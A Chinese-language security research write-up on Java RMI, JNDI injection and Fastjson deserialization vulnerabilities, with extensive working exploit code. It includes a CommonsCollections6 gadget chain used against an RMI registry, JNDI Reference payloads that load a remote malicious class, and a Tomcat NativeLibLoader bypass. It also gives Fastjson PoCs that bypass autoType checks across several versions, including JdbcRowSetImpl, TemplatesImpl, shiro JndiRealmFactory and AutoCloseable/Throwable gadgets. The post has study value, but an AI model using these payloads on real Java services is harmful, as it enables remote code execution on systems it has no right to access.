RMI (Remote Method Invocation) 远程方法调用,就是可以使远程函数调用本地函数一样方便,因此这种设计很容易和RPC(Remote Procedure Calls)搞混。区别就在于RMI是Java中的远程方法调用,传递的是一个完整的对象,对象中又包含了需要的参数和数据。
RMI中有两个非常重要的概念,分别是Stubs(客户端存根)和Skeletons(服务端骨架),而客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
su18师傅给出的一个通信原理图如下所示:
首先创建一个Demo来测试
IHello接口,需要继承于java.rmi.Remote,同时里面的所有实例都要抛出java.rmi.RemoteException异常
package com.example.rmiandJndi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
String sayHello(String str) throws RemoteException;
}
之后就需要创建一个实现类,并实现自IHello接口
package com.example.rmiandJndi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl implements IHello {
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {
System.out.println(name+"+OK");
return name;
}
}
同时还需要在构造方法中调用UnicastRemoteObject.exportObject来导出远程对象,以使其可用于接收传入调用。
这里引用su18师傅的解释:
更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。
而RMI就是用java.rmi.registry.Registry和java.rmi.Naming两个主要类来实现整个功能
java.rmi.Naming中提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)等,来对注册中心(Registry)进行操作。
通常首先使用createRegistry方法在本地创建一个注册中心
package com.example.rmiandJndi;
import java.rmi.registry.LocateRegistry;
public class Registry {
public static void main(String\[\] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
Thread.currentThread().join();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Server端再bind对象
package com.example.rmiandJndi;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class RemoteServer {
public static void main(String\[\] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
// 创建远程对象
IHello remoteObject = new HelloImpl();
// 绑定
Naming.bind("rmi://localhost:1099/Hello", remoteObject);
}
}
Client端通过lookup从Registry找到对应的对象引用
package com.example.rmiandJndi;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
public class RMIClient {
public static void main(String\[\] args) throws RemoteException, NotBoundException {
Registry registry \= LocateRegistry.getRegistry("localhost", 1099);
System.out.println(Arrays.toString(registry.list()));
// lookup and call
IHello stub = (IHello) registry.lookup("Hello");
System.out.println(stub.sayHello("hi"));
}
}
首先启动RegistryCenter,再运行RemoteServer进行绑定,最后RMIClient调用lookup
Server端输出:
Client端输出:
补充知识点:如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 java.rmi.server.codebase,则会尝试从其中的地址获取 .class 并加载及反序列化。可使用如下代码进行设置。
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");
意识到这个危害后,官方将 java.rmi.server.useCodebaseOnly 参数的默认值由false 改为了true 。在java.rmi.server.useCodebaseOnly参数配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。
所以之后的利用过程中需要完成以下两个步骤:
安装并配置了SecurityManager
配置 java.rmi.server.useCodebaseOnly 参数为false 例:java -Djava.rmi.server.useCodebaseOnly=false
当Server端存在一个Object参数的函数时候,可以利用这个函数直接执行反序列化
在Client端调用CC6链,即可造成远程命令执行
完整代码如下:
public static Object getEvilClass() throws NoSuchFieldException, IllegalAccessException{
Transformer\[\] transformers \= new Transformer\[\] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class\[\] { String.class,Class\[\].class }, new Object\[\] { "getRuntime",new Class\[0\] }),
new InvokerTransformer("invoke", new Class\[\] { Object.class,Object\[\].class }, new Object\[\] { null, new Object\[0\] }),
new InvokerTransformer("exec", new Class\[\] { String.class },
new String\[\] {
"calc.exe" }),
};
ChainedTransformer chainedTransformer \= new ChainedTransformer(transformers);
Map map \= new HashMap<>();
Map lazyMap \= LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
//lazyMap.get("anything");
TiedMapEntry tm \= new TiedMapEntry(lazyMap,"all");
//HashMap#readObject会对key调用hash方法
HashMap expMap = new HashMap();
expMap.put(tm,"allisok");
lazyMap.remove("all");
//通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);
return expMap;
}
在Server端绑定服务对象的时候,传入恶意的类即可造成反序列化漏洞执行
public static void main(String\[\] args) throws RemoteException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException {
Registry registry \= LocateRegistry.getRegistry("localhost",1099);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()\[0\];
constructor.setAccessible(true);
HashMap<String,Object> map = new HashMap<>();
map.put("wh4am1",getEvilClass());
InvocationHandler invocationHandler \= (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote \= (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class\[\]{Remote.class}, invocationHandler);
registry.rebind("wh4am1",remote);
}
这里需要 Registry 端具有相应的依赖及相应 JDK 版本需求,这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
JEP 290 主要提供了几个机制:
提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
限制反序列化的调用深度和复杂度;
为 RMI export 的对象设置了验证机制;
提供一个全局过滤器,可以在 properties 或配置文件中进行配置。
jep290会在反序列化的时候调用checkInput()
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
而之前攻击RMI Server的方式正好可以绕过JEP检查,原因是checkInput中的ObjID是在白名单中的。
JNDI(Java Naming and Directory Interface,Java命名和目录接口),通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
可以使用对应的Context来操作对应的功能
//创建JNDI目录服务上下文
InitialContext context = new InitialContext();
//查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:1099/test")
示例代码通过lookup会自动使用rmiURLContext处理RMI请求。
LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。
package com.example.rmiandJndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;
public class JNDItoRMI {
public static void main(String\[\] args) throws NamingException, RemoteException {
Hashtable env \= new Hashtable();
env.put(Context.INITIAL\_CONTEXT\_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
//RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER\_URL, "rmi://127.0.0.1:1099");
Context ctx \= new InitialContext(env);
IHello local\_obj \= (IHello) ctx.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(local\_obj.sayHello("hi"));
}
}
上述代码展现了JNDI的方式调用RMI Server端的sayHello函数。
同时ctx的lookup函数也有自动识别协议确定Factory的功能,getURLOrDefaultInitCtx()尝试获取对应协议的上下文环境。
Reference类表示对存在于Naming/Directory之外的对象引用,Reference可以远程加载类(file/ftp/http等协议),并且实例化。
因此可以通过绑定Reference对象,再通过Reference对象去请求远程的恶意类
package com.example.rmiandJndi.JndiRMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JndiRmiServer {
public static void main(String args\[\]) throws Exception {
Registry registry \= LocateRegistry.createRegistry(1099);//Registry写在server里
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper \= new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
Server端设置一个远程的EvilObject类
Client端直接通过InitialContext.lookup()解析
public static void main(String\[\] args) throws Exception {
Context ctx \= new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/refObj");
}
根据JNDI注入的利用,总结了如下表格:
JNDI服务
需要的安全属性值
Version
备注
RMI
java.rmi.server.useCodebaseOnly==false
jdk>=6u45、7u21 true
true时禁用自动远程加载类
RMI、CORBA
com.sun.jndi.rmi.object.trustURLCodebase==true
jdk>=6u141、7u131、8u121 false
flase禁止通过RMI和CORBA使用远程codebase
LDAP
com.sun.jndi.ldap.object.trustURLCodebase==true
jdk>=8u191、7u201、6u211 、11.0.1 false
false禁止通过LDAP协议使用远程codebase
https://tttang.com/archive/1405/
浅蓝师傅提出的com.sun.glass.utils.NativeLibLoader类,是jdk原生的类,可以用这种方式结合一个JNI文件达到命令执行。前提是需要通过文件上传或者写文件gadget把JNI文件提前写入到磁盘上。
Poc:
private static ResourceRef tomcat\_loadLibrary(){
ResourceRef ref \= new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
return ref;
}
这种方式估计对绕过RASP也有很好的帮助。
package com.example.rmiandJndi.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class toJsonSerial {
public static void main(String\[\] args){
String json \= "{\\"@type\\":\\"com.example.rmiandJndi.fastjson.Evil\\",\\"cmd\\":\\"calc\\"}";
Object obj \= JSON.parseObject(json,Object.class, Feature.SupportNonPublicField);
System.out.println(obj.getClass().getName());
}
}
反序列化的时候,会自动调用@type的Evil类中的Setting方法进行赋值。
package com.example.rmiandJndi.fastjson;
public class Evil {
String cmd;
public Evil(){
}
public void setCmd(String cmd) throws Exception{
this.cmd = cmd;
Runtime.getRuntime().exec(this.cmd);
}
public String getCmd(){
return this.cmd;
}
@Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\\'' +
'}';
}
}
但是实际情况下肯定不会有开发人员故意写个后门给你利用,再来看看fastjson中常见的gadget
要想知道这个链的原理,首先就得过一遍Json解析的过程,以及如何调用@type指定的字段函数。
FastJson在执行反序列化解析的时候,会首先通过DefaultJSONParser.parseObject()
并之后进入DefaultJSONParser.parse(Object)函数switch-case分支的LBRACE分支
进入parseObject方法中,调用了config.getDeserializer(clazz)
跟进方法中可以找到调用了createJavaBeanDeserializer方法,在方法中new了一个JavaBeanDeserializer对象,new的过程中先是编译了JavaBeanInfo对象
在JavaBeanInfo创建的时候遍历了需要绑定的类所有成员方法,同时Setting方法满足如下几点的
方法名长度不能小于4
不能是静态方法
返回的类型必须是void 或者是自己本身
传入参数个数必须为1
方法开头必须是set
或者是Getting方法满足这几个条件的
方法名长度不小于4
不能是静态方法
方法名要get开头同时第四个字符串要大写
方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
传入的参数个数需要为0
而getOutputProperties方法满足Getting方法的要求,并添加到fieldList列表中
JavaBeanInfo编译好之后进入到JavaBeanDeserializer对象的构造方法中。
JavaBeanDeserializer对象的构造方法中,先把之前满足条件的fieldList创建字段序列器,并把它添加到sortedFieldDeserializers数组中。
再跟进createFieldDeserializer方法
方法直接创建了一个DefaultFieldDeserializer对象并返回,这里是设置了outputProperties字段的反序列化器。
再来看看JavaBeanDeserializer的第二个for循环,调用了getFieldDeserializer方法获取反序列化器
返回结果后,继续跟到DefaultJSONParser.parseObject()方法中,最后返回的时候调用了ObjectDeserializer.deserialze方法,而方法进入到了JavaBeanDeserializer类的deserialze方法中
在第570行,对传入的类进行了实例化,之后传入第600行调用parseField进行解析
跟进方法体中
可以看到最终调用了smartMatch方法匹配
在方法中,会将"_outputProperties"内容改为"outputProperties",并在后续通过getFieldDeserializer方法找到对应key的反序列化器
方法返回后,继续跟进,最终调用了改反序列化器的parseField方法
至于setValue中是如何设置的,可以跟进方法中查看
直接通过反射调用了TemplatesImpl的getOutputProperties方法
以上就是Fastjson调用的时候调用Setting/Getting方法所执行的原理
再来看看TemplatesImpl类是如何执行命令的
跟进newTransformer方法,在方法中调用了getTransletInstance(),并判断了_class是否为空,如果为空则继续调用defineTransletClasses()
而重点就在defineTransletClasses()方法中,调用了defineClass来定义_bytecodes的类
定义完成之后,在getTransletInstance方法中又调用了newInstance()实例化对象
\_class\[\_transletIndex\].newInstance();
而如果在恶意类中定义了static静态代码块,则会在实例化的时候自动执行代码内容。
完整的调用链如下所示:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
input#newInstance()
刚才讲的fastJson TemplatesImpl链需要设置Feature.SupportNonPublicField。条件太过苛刻。
先来看poc
package com.example.rmiandJndi.fastjson;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplGadget {
public static void main(String\[\] args) {
String PoC \= "{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\", \\"dataSourceName\\":\\"rmi://127.0.0.1:1099/refObj\\", \\"autoCommit\\":true}";
JSON.parse(PoC);
}
}
之前说解析原理的时候讲过会自动调用对应的Setting/Getting方法,而JdbcRowSetImpl类中有一个setAutoCommit方法
方法中调用了connect(),跟进查看一下
调用了熟悉的InitialContext().lookup(),而这里的DataSourceName也可以通过反序列化解析的时候传入,因此只需要传入一个jndi地址即可达到反序列化执行。
1.TemplatesImpl 链
优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)
缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
2.JdbcRowSetImpl 链
优点:利用范围更广,触发更为容易
缺点:当fastjson 不出网的话这个方法基本上不行(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址
程序修改了类加载的loadClass方式,采用了checkAutoType的黑+白名单的方式进行限制。
自从1.2.25 起 autotype 默认关闭
增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
开启autotype方式
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
在1.2.42之后,防止安全研究人员研究黑名单,把黑名单的方式改成了Hash存放。
如下的Poc可以通杀1.2.25-1.2.47版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/refObj",
"autoCommit":true
}
}
该poc无视checkAutoType
@type设置成java.lang.Class即可通过TypeUtils.loadClass的方式来加载恶意类
再来看看checkAutoType的抛出异常的地方
跟进getClassFromMapping(typeName)
正好是之前put好的mapping,正好可以绕过检验。
需要开启autoTypeSupport
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
<dependency\>
<groupId\>org.apache.shiro</groupId\>
<artifactId\>shiro-core</artifactId\>
<version\>1.2.2</version\>
</dependency\>
Poc如下:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":\["rmi://x.x.x.x:5555/Exp"\], "Realms":\[""\]}
在JndiRealmFactory的getRealms方法中调用了lookup进行解析。
不需要开启autoTypeSupport
需要一个继承自java.lang.AutoCloseable的子类
import java.io.IOException;
public class haha implements AutoCloseable{
public haha(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
Poc如下:
String str4 = "{\\"@type\\":\\"java.lang.AutoCloseable\\",\\"@type\\":\\"haha\\",\\"cmd\\":\\"calc\\"}";
不需要开启autoTypeSupport
1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
import java.io.IOException;
public class CalcException extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Poc:
String str4 = "{\\"@type\\":\\"java.lang.Exception\\",\\"@type\\":\\"CalcException\\",\\"name\\":\\"calc\\"}";
[1].http://wjlshare.com/archives/1512
[2].https://xz.aliyun.com/t/11967
[3].https://blog.csdn.net/dreamthe/article/details/125851153